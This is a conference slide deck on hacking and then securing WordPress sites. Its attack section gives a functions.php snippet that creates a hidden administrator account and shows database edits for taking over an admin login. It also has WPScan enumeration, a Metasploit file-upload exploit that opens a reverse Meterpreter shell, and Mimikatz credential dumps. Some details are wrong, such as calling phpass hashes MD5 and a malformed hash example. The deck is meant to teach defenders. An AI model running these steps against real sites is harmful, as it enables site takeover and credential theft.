2018 Secure360 Twin Cities

Hacking WordPress

Wednesday, May 16
1:00 pm

Bob Weiss

@secure360 facebook.com/secure360 www.Secure360.org
HACKING AND SECURING WORDPRESS

Secure360 2018, May 15&16, 2018, Minneapolis Convention Center

@secure360    facebook.com/secure360    www.Secure360.org
Bob Weiss  MCSE, A+, CEH, CISSP
+ Cybersecurity Analyst at The WyzCo Group
+ Certified Information Systems Security Professional (CISSP)
+ Certified Ethical Hacker (CEH)
+ Cybersecurity Blogger @ wyzguyscybersecurity.com
(ISC)2 Twin Cities
- Board and webmaster

ISSA Twin Cities Chapter
- Member

Upper Midwest Security Alliance (UMSA)
- (ISC)2 Delegate

LinkedIn
- www.linkedin.com/in/wyzguy

Twitter handle
- @wyzguys

Web log:
- www.wyzguyscybersecurity.com
THE WYZCO GROUP

- Founded in 2001
- WyzGuys Cybersecurity
  + Employee Security Training
  + Security Audits
  + Vulnerability Scanning
  + Penetration Testing
  + Computer Incident Response Planning
  + Cybersecurity Speaker and Writer
AGENDA

- Hacking WordPress
  - Origins
  - My Website Has Been Hacked!
  - Why Would Someone Hijack My Website?
  - Taking Possession
  - How To Hack Your own Website
  - Hacking for Users and Passwords
  - Questions
  - Break

- Securing WordPress
  - Securing Computers and Users
  - Protecting your Website
  - Advanced Website Security
  - Cleaning a Hijacked or Infected Site
  - Recommended Solutions
  - Resources
  - Questions
Bad bots detected on 100% of web login pages, here’s how to protect your business

Every website with a login page faces Account Takeover attempts, which increase 300% after a data breach, according to Distil Networks.

By Alison DeNisco Rayome | May 1, 2018, 8:15 AM PST
Blogging since October 26, 2006
Moved From Blogger to WordPress about 2013
When I installed WordFence I started seeing a barrage of alerts about brute force login attempts
Discovered this was a serious threat, even for small websites.
This email was sent from your website "WyzGuys Computer and Network Support" by the Wordfence plugin at Monday 26th of September 2016 at 10:24:18 PM The Wordfence administrative URL for this site is: http://www.wyzguys.com/wp-admin/admin.php?page=Wordfence

A user with IP address 50.242.22.237 has been locked out from the signing in or using the password recovery form for the following reason: Used an invalid username 'wyzguys' to try to sign in.
User IP: 50.242.22.237
User location: Whitehouse, United States
This email was sent from your website "WyzGuys Cybersecurity" by the Wordfence plugin at Tuesday 17th of April 2018 at 11:22:32 PM The Wordfence administrative URL for this site is: http://wyzguyscybersecurity.com/wp-admin/admin.php?page=Wordfence

The Wordfence Web Application Firewall has blocked 209 attacks over the last 10 minutes. Below is a sample of these recent attacks:

April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
April 18, 2018 4:16am 115.29.76.145 (China)  Blocked because the IP is blacklisted
This email was sent from your website http://wyzguyscybersecurity.com and is a summary of security related activity that Wordfence monitors for the period March 19, 2018 to March 26, 2018.

**Top 10 IPs Blocked**

<table>
<thead>
<tr>
<th>IP</th>
<th>Country</th>
<th>Block Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>159.65.46.10</td>
<td>US</td>
<td>143</td>
</tr>
<tr>
<td>40.77.167.30</td>
<td>US</td>
<td>108</td>
</tr>
<tr>
<td>207.46.13.181</td>
<td>US</td>
<td>88</td>
</tr>
<tr>
<td>113.28.1.221</td>
<td>HK</td>
<td>40</td>
</tr>
<tr>
<td>40.77.167.131</td>
<td>US</td>
<td>36</td>
</tr>
<tr>
<td>58.214.24.53</td>
<td>CN</td>
<td>9</td>
</tr>
<tr>
<td>183.240.198.44</td>
<td>CN</td>
<td>9</td>
</tr>
<tr>
<td>128.199.157.152</td>
<td>SG</td>
<td>8</td>
</tr>
<tr>
<td>198.204.244.90</td>
<td>US</td>
<td>7</td>
</tr>
<tr>
<td>5.39.66.58</td>
<td>FR</td>
<td>7</td>
</tr>
</tbody>
</table>
### Top 10 Countries Blocked

<table>
<thead>
<tr>
<th>Country</th>
<th>Total IPs Blocked</th>
<th>Block Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>US</td>
<td>14</td>
<td>397</td>
</tr>
<tr>
<td>TR</td>
<td>51</td>
<td>59</td>
</tr>
<tr>
<td>CN</td>
<td>32</td>
<td>51</td>
</tr>
<tr>
<td>HK</td>
<td>1</td>
<td>40</td>
</tr>
<tr>
<td>FR</td>
<td>14</td>
<td>26</td>
</tr>
<tr>
<td>SG</td>
<td>2</td>
<td>9</td>
</tr>
<tr>
<td>DE</td>
<td>8</td>
<td>8</td>
</tr>
<tr>
<td>RU</td>
<td>7</td>
<td>7</td>
</tr>
<tr>
<td>RO</td>
<td>3</td>
<td>6</td>
</tr>
<tr>
<td>UA</td>
<td>4</td>
<td>5</td>
</tr>
</tbody>
</table>
### Recently Blocked Attacks

<table>
<thead>
<tr>
<th>Time</th>
<th>IP / Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>March 26, 2018 1:39pm</td>
<td>185.85.191.196 (Turkey) Blocked because the IP is blacklisted</td>
</tr>
<tr>
<td>March 26, 2018 1:50pm</td>
<td>185.86.164.100 (Turkey) Blocked because the IP is blacklisted</td>
</tr>
<tr>
<td>March 26, 2018 12:10pm</td>
<td>185.86.164.101 (Turkey) Blocked because the IP is blacklisted</td>
</tr>
<tr>
<td>March 26, 2018 9:07am</td>
<td>87.58.227.4 (France) Blocked because the IP is blacklisted</td>
</tr>
<tr>
<td>March 26, 2018 8:18am</td>
<td>178.210.90.90 (Russian Federation) Blocked because the IP is blacklisted</td>
</tr>
<tr>
<td>March 26, 2018 7:16am</td>
<td>185.86.164.109 (Turkey) Blocked because the IP is blacklisted</td>
</tr>
<tr>
<td>March 26, 2018 5:50am</td>
<td>109.86.115.141 (Ukraine) Blocked because the IP is blacklisted</td>
</tr>
<tr>
<td>March 25, 2018 11:12pm</td>
<td>178.159.37.71 (Russian Federation) Blocked because the IP is blacklisted</td>
</tr>
</tbody>
</table>
How Hackable Are You?

MY WEBSITE HAS BEEN HACKED!
WORDPRESS COMPROMISE IN THE HEADLINES

- Thousands of hacked home routers are attacking WordPress sites (4/11/2017)
- Hackers find fresh WordPress sites within 20 minutes (7/31/2017)
- 1.5M unpatched WordPress sites hacked following vulnerability disclosure – (2/10/2017)
- Thousands of hacked WordPress sites abused to infect millions of visitors (9/18/2015)
- Hundreds of DreamHost websites abused by spammers (2/6/2012)
- Massive number of GoDaddy WordPress blogs hacked (1/1/2012)
HOW WOULD YOU FIND OUT YOUR SITE IS HACKED?

- Hosting provider takes site offline
- Your web browser spawns a warning.
- Your computer’s malware scanner alerts on your site
- Customer gets infected on your site and contacts you
Reported Web Forgery!

This web page at fashion-vogue.org has been reported as a web forgery and has been blocked based on your security preferences.

Web forgeries are designed to trick you into revealing personal or financial information by imitating sources you may trust.

Entering any information on this web page may result in identity theft or other fraud.

Get me out of here!  Why was this page blocked?

Ignore this warning
GOOGLE SEARCH RESULTS WARNING FLAG?

Example Domain
www.example.com/
This site may be hacked.
Example Domain. This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. More information...

Example Domain
www.example.com/
This site may harm your computer.
Example Domain. This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. More information...
Google Search Console alerts you to malware?

Security Issues

Malware and unwanted software

Google has detected harmful code on some of your site’s pages. We recommend you remove it as soon as possible. Until then, Google’s search results might display a warning to protect users when they click a link to your site. Learn more

Undetermined malware

These pages directed users to a site that serves malware or unwanted software. Unfortunately, the malicious code within the page could not be isolated.

Show details

I have fixed these issues

REQUEST A REVIEW
WHO HAS BEEN HACKED?

- Brian Krebs – Krebs On Security - distributed denial of service attack took blog offline for several days
- Client had website disabled by hosting company because they were unknowingly serving malware from their home page
- Who in the room has had your website hacked?
It’s all about the money

WHY WOULD SOMEONE HIJACK MY WEBSITE?
WHY WOULD AN ATTACKER WANT MY WEBSITE?

- It’s not because of:
  + Your content.
  + Customer information (although they will be happy to take it)
  + Your size (small sites may be *more* attractive than larger ones.)

- It’s because your site has:
  + Clean reputation.
  + Clean IP address not on any blacklists.
  + Existing traffic and site visitors
  + Low or no security, and easy to crack passwords
NON-TARGETED ATTACKS

- Generally are automated attacks
- Goal is to compromise as many sites as possible
- Website database information stolen
- Website content or information held for ransom
- Access to webserver may be “rented” to another cyber-criminal
  - Become part of a bot-net or DDoS collective
  - Used to host phishing scam landing pages
  - Crypto-currency mining
The attacker specifically targeted your website

- Ashley Madison was attacked to publicly expose the site users
- Panama Papers stolen from Mossack Fonseca
- DynDNS DDoS attack

They may have an axe to grind

They may be holding your site for ransom

They may be publicly releasing confidential or embarrassing information
MULTIPLE GOALS

- Attackers have a goal in mind
- Also opportunistic
  - Equifax breach
  - Original target was credit information
  - Also found to be hosting files on their servers in Argentina.
    - Identity documents
    - NFL game and World Cup match videos
DISTURBING NEW ATTACK VECTOR

- Cyber scammer paid $15,000 to the developer to buy the popular WordPress plugin “Display Widgets.”
- Modified the plug-in code to add spamming malware
- Pushed “updated” version to all websites using this plug-in
- Same person has purchased other plug-ins and modified them to carry spam and malware
MONETIZING A HIJACKED WEBSITE

- Websites are rented to other cyber-criminals
- Websites are used to distribute malware
- SEO – inserting backlinks to another site the attacker is promoting
- Steal client user, password, other information stored in a database
  - Sell it on the Dark Web
  - Hold it for ransom
- Use site for phishing exploit to host replica landing pages
- Sending spam
- Host illegal content (porn, videos, music, software, identity docs)
- Crypto-currency mining.
NON-MONETARY MOTIVES

- Deface site
- Doxxing - search for and publish private or identifying information about a group or particular individual on the Internet, typically with malicious intent.
- Revenge
- Hacktivism – Anonymous, et. al.
- Political attacks
- Cyber-warfare
OTHER SECURITY CONCERNS

- Shared hosting = shared security
- Other site users (subscriber, contributor, author)
- Web developer access?
Just need a user ID and password

TAKING POSSESSION
How Hacked WordPress Sites Were Compromised

- Plugin: 60.0%
- Brute Force: 20.0%
- Core: 10.0%
- Theme: 5.0%
- Hosting: 2.0%
- File Permissions: 2.0%
- Old Files: 1.0%
- Password Theft: 1.0%
- Workstation: 1.0%
- Phishing: 1.0%
- Insider: 1.0%
- Server: 1.0%
- FTP: 1.0%
It easy to get your administrator user name and password

- Ask for it
- Impersonate you with web host customer service
- Keylogger
- Phishing email
- Password guessing
- Exploiting vulnerabilities
- Automated brute force password cracking (software)
- Hacking with WPScan or other tools
- Buy a list of passwords on the Dark Web
HaveI Been Pwned - Troy Hunt

';--have i been pwned?

Check if you have an account that has been compromised in a data breach

| email address | pwned? |

274 pwned websites
4,951,798,670 pwned accounts
66,048 pastes
72,744,269 paste accounts
Penetration testing

HOW TO HACK YOUR OWN WEBSITE
HOW DO HACKERS GET IN?

- Exploits for known vulnerabilities.
- Brute-force password cracking.
- Network scanning
- Firesheep (session cookie hijacking)
- Wi-Fi vulnerabilities (WEP)
- Automated tools in Kali Linux
- Rootkits
WHY WOULD I HACK MY OWN WEBSITE?

- Forgot the user name, email address, or password
- Password recovery does not work for some reason (change or lost access of email address?)
- Testing for vulnerabilities that a real attacker might exploit
- Regulatory compliance requirements
- Test security of web applications
Admin access is everything

Hacking for Users and Passwords
PREREQUISITES

- You will need to have one of these access methods
  - FTP access to the server
  - cPanel access to the server
  - MySQL database remote access
**Method 1 - Using cPanel and MySQL**

- Connect to **MySQL** using **SQLyog** or something similar
- Or type **https://mysite.com:2083** for cPanel access
- Log in (you would need to know or have acquired this credential through social engineering or phishing)
- Open **phpMyAdmin**
- Look at the list of databases and tables at the left
- Find a table that ends **_users**, commonly **wp_users**
<table>
<thead>
<tr>
<th>id</th>
<th>user_login</th>
<th>user_pass</th>
<th>user_email</th>
<th>user_registered</th>
<th>user_status</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Administrator</td>
<td>$P$BSVP.996iwy/N</td>
<td>admin@imsu ...</td>
<td>2013-10-24 19:23:34</td>
<td>0</td>
</tr>
<tr>
<td>3</td>
<td>DylanK</td>
<td>$P$BGveLyLfVhlN2</td>
<td>dylankeings ...</td>
<td>2014-09-05 19:23:03</td>
<td>0</td>
</tr>
<tr>
<td>4</td>
<td>RyanPowell</td>
<td>$P$BvNCNV0LggCd4</td>
<td>ryan@getkn ...</td>
<td>2014-09-05 19:53:29</td>
<td>0</td>
</tr>
<tr>
<td>5</td>
<td>MonikaMorley</td>
<td>$P$Bpk9MYFZHtfKN</td>
<td>monika.mor ...</td>
<td>2014-09-05 19:54:23</td>
<td>0</td>
</tr>
<tr>
<td>6</td>
<td>PaulClifford</td>
<td>$P$BwVkannacQ5Be</td>
<td>jv@paulcli ...</td>
<td>2014-09-05 19:55:20</td>
<td>0</td>
</tr>
<tr>
<td>7</td>
<td>ChrisMunch</td>
<td>$P$BrQHgxWleYFqH</td>
<td>main@vooto ...</td>
<td>2014-09-05 19:56:05</td>
<td>0</td>
</tr>
<tr>
<td>8</td>
<td>MartinCrumlish</td>
<td>$P$BEx/bdoSR6deM</td>
<td>martincrum ...</td>
<td>2014-09-05 19:58:20</td>
<td>0</td>
</tr>
<tr>
<td>9</td>
<td>AndrewFox</td>
<td>$P$BxjAF44QfknLp</td>
<td>andrew@9to ...</td>
<td>2014-09-05 19:59:10</td>
<td>0</td>
</tr>
<tr>
<td>10</td>
<td>danut</td>
<td>$P$B7jCbsq0VjCEI</td>
<td>danut@danu ...</td>
<td>2014-09-05 20:52:05</td>
<td>0</td>
</tr>
<tr>
<td>11</td>
<td>AndyBlack</td>
<td>$P$BhUa4wqMtkSkf</td>
<td>info@andyb ...</td>
<td>2014-09-05 20:54:08</td>
<td>0</td>
</tr>
<tr>
<td>12</td>
<td>NickL</td>
<td>$P$BF.pBuXedensw3</td>
<td>nick.lapol ...</td>
<td>2014-09-05 23:06:16</td>
<td>0</td>
</tr>
<tr>
<td>13</td>
<td>walt</td>
<td>$P$BZ9.TUZKgf/KL</td>
<td>walterbayl ...</td>
<td>2014-09-05 23:25:27</td>
<td>0</td>
</tr>
</tbody>
</table>
Password is saved in `user_pass` field

Password is stored as an MD5 hash

Create a new MD5 hash of your replacement password

- Online password hash generator at [www.md5.cz](http://www.md5.cz)
- i.e. password = 5f4dccc3b5aa765d61d8327deb882cf99

Copy the hash and paste/replace the hash of the user you want to change.

Save your changes and log into WordPress with the user and password you just changed.
CREATING A NEW USER

- To create a new record in **wp_users**
  - Create a new MD5 hash of the password
  - Add **user_login**, the MD5 hash of **user_pass**, and **user_email**
- Save the record
- MySQL will generate a unique ID number in the **ID** field
- Find **wp_usermeta** table
Creating a New User

- Create 2 new records
  + Ignore `usermeta_id` field for both new records
  + First record set `meta_key` to `wpct_user_level` and `meta_value` to `10`.
  + Second record set `meta_key` to `wpct_capabilities` and `meta_value` to `a:1:{s:13:"administrator";b:1;}`

- Save them both
- Login in with the new administrator user you just created
METHOD 2 – FUNCTIONS.PHP

- Use either cPanel or FTP client like Filezilla
- Find the folder for the active theme
  - `Public_html/wp-content/themes`
- Open folder for the active theme
- Edit `functions.php`
  - Look for closing `?>` PHP tags if you have them. They have to be on the last line. Insert the code before them.
$new_user_email = 'myemail@domain.com';
$new_user_password = '12345';

if(!username_exists($new_user_email)) {
    $user_id = wp_create_user($new_user_email, $new_user_password, $new_user_email);
    wp_update_user(array('ID' => $user_id, 'nickname' => $new_user_email));

    $user = new WP_User($user_id);
    $user->set_role('administrator');
}
Edit the first two lines of the code to match your new account.
Make sure the email address is new, not in use already.
Change the password from 12345 to your preferred password.
Save the file.
Open your site, the code will be run, a new account with administrator privileges is created and you’ll be able to login with it.
Then delete the code from functions.php.
WPScan is a black box vulnerability scanner for WordPress written in PHP.
WPScan is installed in Kali Linux, and other security distros
Searches for different types of vulnerability in WordPress, WordPress themes, and plugins.
WPScan uses a database of all the available plugins and themes during testing against the target to find outdated versions and vulnerabilities.
+ (approximately over 18000 plugins and 2600 themes)
WHAT WPSCAN CAN DO

- Detect a version of currently installed WordPress.
- Detect sensitive files like readme, robots.txt, database replacing files, etc.
- Detect enabled features on currently installed WordPress.
- Enumerate theme version and name.
- Detect installed plugins and can tell you if it is outdated or not.
- Enumerate user names also.
GET WPSCAN

- From Kali Linux terminal
  - `cd Desktop`
  - `git clone https://github.com/wpscanteam/wpscan.git`
Now simply type in terminal to run the script:

```
./wpscan.rb -h
```

Using default Option we will are going to penetrate our WordPress website:
WPScan®

WordPress Security Scanner by the WPScan Team
Version 2.9.4-dev
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, _@FireFart_

Help:

Some values are settable in a config file, see the example.conf.json

--update
--url -u <target url> Update the database to the latest version.
--force -f The WordPress URL/domain to scan.
--enumerate -e [option(s)] Forces WPScan to not check if the remote site is running WordPress.

option:
  u usernames from id 1 to 10
  u[10-20] usernames from id 10 to 20 (you must write [] chars)
  p plugins
  vp only vulnerable plugins
  mp all plugins (can take a long time)
  tt timethumbs
  t themes
  vt only vulnerable themes
  at all themes (can take a long time)

Multiple values are allowed: "-e tt,p" will enumerate timethumbs and plugins
If no option is supplied, the default is "vt,tt,u,vp"
GETTING WORDPRESS VERSION

- Type following command to scan WordPress and its server:
  - `./wpscan.rb -u http://mysite.com/wordpress/`
- What it found server:
  - Apache/2.4.7, PHP /5.5.9 wordpress version 4.8.1,
- Using this information an attacker can find an exploit in Metasploit.
- It also found that the upload directory has directory listing **enable** which means anyone can browse the directory /wp-content/uploads to view the uploaded files and contents.
root@kali:~/Desktop/wpscan# ./wpscan.rb -u http://192.168.0.101/wordpress/

WordPress Security Scanner by the WPScan Team
Version 2.9.4-dev
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_

[+] URL: http://192.168.0.101/wordpress/
[+] Started: Thu Sep 14 13:08:47 2017

[!] The WordPress 'http://192.168.0.101/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://localhost/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.22
[!] Upload directory has directory listing enabled: http://192.168.0.101/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://192.168.0.101/wordpress/wp-includes/

[+] WordPress version 4.8.1 (Released on 2017-08-02) identified from meta generator, links opml
FINDING VULNERABLE THEMES AND PLUGINS

- For vulnerable themes
  - Type ./wpscan.rb -u http://192.168.0.101/wordpress/ --enumerate vt

- For vulnerable plugins
  - Type ./wpscan.rb -u http://192.168.0.101/wordpress/ --enumerate vp
VULNERABLE PLUGINS FOUND

- 3 vulnerable plugins
  + Reflex Gallery 3.1.3
  + Work-the-flow-file-upload 2.5.2
  + An DOM XXS vulnerability in several plugins

- Also show links to exploit CVE
  + CVE 2015-4133
Title: Reflex Gallery <= 3.1.3 - Arbitrary File Upload
Reference: https://wpvulndb.com/vulnerabilities/7867
Reference: http://packetstormsecurity.com/files/130845/
Reference: http://packetstormsecurity.com/files/131515/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4133
Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_reflexgallery_file_upload
Reference: https://www.exploit-db.com/exploits/36374/

Fixed in: 3.1.4

Title: Multiple Plugins - jQuery prettyPhoto DOM Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/7985
Reference: https://blog.anantshri.info/forgotten_disclosure_dom_xss_prettyphoto
Reference: https://github.com/scaron/prettyphoto/issues/149
Reference: https://github.com/wpscanteam/wpscan/issues/818

Fixed in: 3.1.5

3 vulnerable plugins

Name: work-the-flow-file-upload - v2.5.2
Last updated: 2016-04-04T13:21:00.000Z

The version is out of date, the latest version is 3.1.4

Title: Work The Flow File Upload <= 2.5.2 - Shell Upload
Reference: https://wpvulndb.com/vulnerabilities/7803
Reference: http://packetstormsecurity.com/files/131294/
Reference: http://packetstormsecurity.com/files/131512/
Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_worktheflow_upload
Reference: https://www.exploit-db.com/exploits/36640/
EXPLOIT PLUGIN WITH METASPLOIT

- Exploit PHP code upload in the WordPress Reflex Gallery
  - The vulnerability allows for arbitrary file upload and remote code execution.
  - Open the terminal, load *metasploit framework*
  - Type:
    - `use exploit/unix/webapp/wp_reflexgallery_file_upload`
    - `msf exploit(wp_reflexgallery_file_upload) > set rhost 192.168.0.101`
    - `msf exploit(wp_reflexgallery_file_upload) > set targetURI /wordpress/`
    - `msf exploit(wp_reflexgallery_file_upload) > exploit`
Meterpreter is an advanced, dynamically extensible payload that uses *in-memory* DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.

- Works like a terminal session or command prompt, but runs in memory and leaves few if any traces.
- The next slide show successful meterpreter access.
msf > use exploit/unix/webapp/wp_reflexgellery_file_upload
msf exploit(wp_reflexgellery_file_upload) > set rhost 192.168.0.101
rhost => 192.168.0.101
msf exploit(wp_reflexgellery_file_upload) > set targetURI /wordpress/
targetURI => /wordpress/
msf exploit(wp_reflexgellery_file_upload) > exploit

[*] Started reverse TCP handler on 192.168.0.107:4444
[+] Our payload is at: yscuaHImZCZ.php. Calling payload...
[*] Calling payload...
[*] Sending stage (37514 bytes) to 192.168.0.101
[*] Meterpreter session 1 opened (192.168.0.107:4444 -> 192.168.0.101:46766) at 2017
[+] Deleted yscuaHImZCZ.php

meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC
Meterpreter : php/linux
meterpreter >
Mimikatz is a great post-exploitation tool written by Benjamin Delpy (gentilkiwi).

After the initial exploitation phase, gain a firmer foothold on the computer/network.

Mimikatz is an attempt to bundle together some of the most useful tasks that attackers will want to perform.
meterpreter > load mimikatz
Loading extension mimikatz...success.

meterpreter > help mimikatz

Mimikatz Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>kerberos</td>
<td>Attempt to retrieve kerberos creds</td>
</tr>
<tr>
<td>livessp</td>
<td>Attempt to retrieve livessp creds</td>
</tr>
<tr>
<td>mimikatz_command</td>
<td>Run a custom command</td>
</tr>
<tr>
<td>msv</td>
<td>Attempt to retrieve msv creds (hashes)</td>
</tr>
<tr>
<td>ssp</td>
<td>Attempt to retrieve ssp creds</td>
</tr>
<tr>
<td>tspkg</td>
<td>Attempt to retrieve tspkg creds</td>
</tr>
<tr>
<td>wdigest</td>
<td>Attempt to retrieve wdigest creds</td>
</tr>
</tbody>
</table>
meterpreter > mimikatz_command -f fu:
Module : 'fu' introuvable

Modules disponibles :
- Standard
  crypto - Cryptographie et certificats
  hash - Hash
  system - Gestion système
  process - Manipulation des processus
  thread - Manipulation des threads
  service - Manipulation des services
  privilege - Manipulation des privilèges
  handle - Manipulation des handles
  impersonate - Manipulation tokens d’accès
  winmine - Manipulation du démineur
  minesweeper - Manipulation du démineur 7
  nogpo - Anti-gpo et patchs divers
  samdump - Dump de SAM
  inject - Injecteur de librairies
  ts - Terminal Server
  divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
  sekurlsa - Dump des sessions courantes par providers LSASS
  efs - Manipulations EFS
READING HASHES AND PASSWORDS FROM MEMORY

- We can use the built-in Metasploit commands and the native Mimikatz commands to extract hashes and clear-text credentials from the compromised machine.
  + First in Meterpreter
  + Then in Mimikatz
### msv Credentials

<table>
<thead>
<tr>
<th>AuthID</th>
<th>Package</th>
<th>Domain</th>
<th>User</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>0;78980</td>
<td>NTLM</td>
<td>WINXP-E95CE571A1</td>
<td>Administrator</td>
<td>lm{00000000000000000000000000000000}, ntlm{66ec6</td>
</tr>
<tr>
<td>0;996</td>
<td>Negotiate</td>
<td>NT AUTHORITY</td>
<td>NETWORK SERVICE</td>
<td>lm{aad3b435b51404eeaadd3b435b51404ee}, ntlm{31d6cf</td>
</tr>
<tr>
<td>0;997</td>
<td>Negotiate</td>
<td>NT AUTHORITY</td>
<td>LOCAL SERVICE</td>
<td>n.s. (Credentials KO)</td>
</tr>
<tr>
<td>0;56683</td>
<td>NTLM</td>
<td></td>
<td></td>
<td>n.s. (Credentials KO)</td>
</tr>
<tr>
<td>0;999</td>
<td>NTLM</td>
<td>WORKGROUP</td>
<td>WINXP-E95CE571A1$</td>
<td>n.s. (Credentials KO)</td>
</tr>
</tbody>
</table>

### kerberos Credentials

<table>
<thead>
<tr>
<th>AuthID</th>
<th>Package</th>
<th>Domain</th>
<th>User</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>0;999</td>
<td>NTLM</td>
<td>WORKGROUP</td>
<td>WINXP-E95CE571A1$</td>
<td></td>
</tr>
<tr>
<td>0;997</td>
<td>Negotiate</td>
<td>NT AUTHORITY</td>
<td>LOCAL SERVICE</td>
<td></td>
</tr>
<tr>
<td>0;56683</td>
<td>NTLM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0;996</td>
<td>Negotiate</td>
<td>NT AUTHORITY</td>
<td>NETWORK SERVICE</td>
<td></td>
</tr>
<tr>
<td>0;78980</td>
<td>NTLM</td>
<td>WINXP-E95CE571A1</td>
<td>Administrator</td>
<td>SuperSecretPassword</td>
</tr>
</tbody>
</table>
meterpreter > mimikatz command -f samdump::hashes
Ordinateur : winxp-e95ce571a1
BootKey : 553d8c1349162121e2a5d3d0f571db7f

Rid : 500
User : Administrator
LM :
NTLM : d6eec67681a3be111b5605849505628f

Rid : 501
User : Guest
LM :
NTLM :

Rid : 1000
User : HelpAssistant
LM : 6165cd1a0ebc61e470475c82cd451e14
NTLM :

Rid : 1002
User : SUPPORT_388945a0
LM :
NTLM : 771ee1fce7225b28f8aee4a88aee9b6a

meterpreter > mimikatz command -f sekurlsa::searchPasswords
[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }
CAPABILITIES FROM HERE IN METASPLOIT

- Enumerating user names
- Enumerate plugins
- Enumerate themes
- Brute force passwords with WPScan
- Generate PHP backdoor
- Clear Event Viewer in Windows
- Download files
- Upload files
- Edit in vim
- Execute commands
- Dump contents of SAM database
- Change the local working directory
- List directories and files
- Search the file contents of target
- Open a shell
- Turn on webcam
CAPABILITIES FROM HERE IN MIMIKATZ

- Get Kerberos credentials
- Get msv (NTLM) creds (hashes)
- Get livessp credentials (cleartext)
- Retrieve ssp (MS digest) creds
- Retrieve tspkg creds (LSASS)
- Retrieve wdigest creds (cleartext)
- Pass the hash attack
- Hash function

- Get security certificates
- Manipulate processes, threads, and services
- Impersonate through token replay
- Dump the SAM database
- Inject DLLs
- Get a terminal or shell
- Manipulate EFS
Thanks to the following people for information in this section

- Raj Chandel – www.hackingarticles.in
- Sunny Hoi – www.sunnyhoi.com
- Dougal Campbell – www.dougal.gunters.org
- Ogi Djuraskovic - www.firstsiteguide.com/hack-wordpress-complete-guide
Thanks for your participation

END OF SECTION 1 - HACKING WORDPRESS
QUESTIONS?

Feel free to take a business card if you want to contact me.

- bob@wyzguys.com
- 651 387-1668
- Or just Google “WyzGuys”
Break
Securing WordPress

Wednesday, May 16
2:30 pm

Bob Weiss
HACKING AND SECURING WORDPRESS

Secure360 2018, May 15&16, 2018, Minneapolis Convention Center
Bob Weiss, MCSE, A+, CEH, CISSP
- Cybersecurity Analyst at The WyzCo Group
- Certified Information Systems Security Professional (CISSP)
- Certified Ethical Hacker (CEH)
- Cybersecurity Blogger @ wyzguyscybersecurity.com
(ISC)2 Twin Cities
- Board and webmaster

ISSA Twin Cities Chapter
- Member

Upper Midwest Security Alliance (UMSA)
- (ISC)2 Delegate

LinkedIn
- www.linkedin.com/in/wyzguy

Twitter handle
- @wyzguys

Web log:
- www.wyzguyscybersecurity.com
THE WYZCO GROUP

- Founded in 2001
- WyzGuys Cybersecurity
  - Employee Security Training
  - Security Audits
  - Vulnerability Scanning
  - Penetration Testing
  - Computer Incident Response Planning
  - Cybersecurity Speaker and Writer
AGENDA

Hacking WordPress
- Origins
- My Website Has Been Hacked!
- Why Would Someone Hijack My Website?
- Taking Possession
- How To Hack Your own Website
- Hacking for Users and Passwords
- Questions
- Break

Securing WordPress
- Securing Computers and Users
- Protecting your Website
- Advanced Website Security
- Cleaning a Hijacked or Infected Site
- Recommended Solutions
- Resources
- Questions
ORIGINS

- Blogging since October 26, 2006
- Moved From Blogger to WordPress about 2013
- When I installed WordFence I started seeing a barrage of alerts about brute force login attempts
- Discovered this was a serious threat, even for small websites.
Secure the humans first. Secure access devices next.

Secure computers and users who access the website
Teach Site Admins and Contributors to Use the Internet in a Secure Manner

- How to recognize phishing emails.
- Avoid clicking on links or opening attachments in phishing emails.
- Keep web browser versions up-to-date.
- Watch for fake, clone, or malicious websites
Hello,

Your email account has been blacklisted, because you are required to re-verify your account.

Soon, your email will be blocked, all the files will be permanently deleted. However, to continue to safely use your account, you need to verify to restore full service.

[Click Here to Verify >>]

Sincerely,
Mail Security Team
Service Information

Thank you for assisting us in controlling unwanted email.

Exchange Online Protection

**NOTE - Please do not respond to this email as it is sent from an unmonitored address**
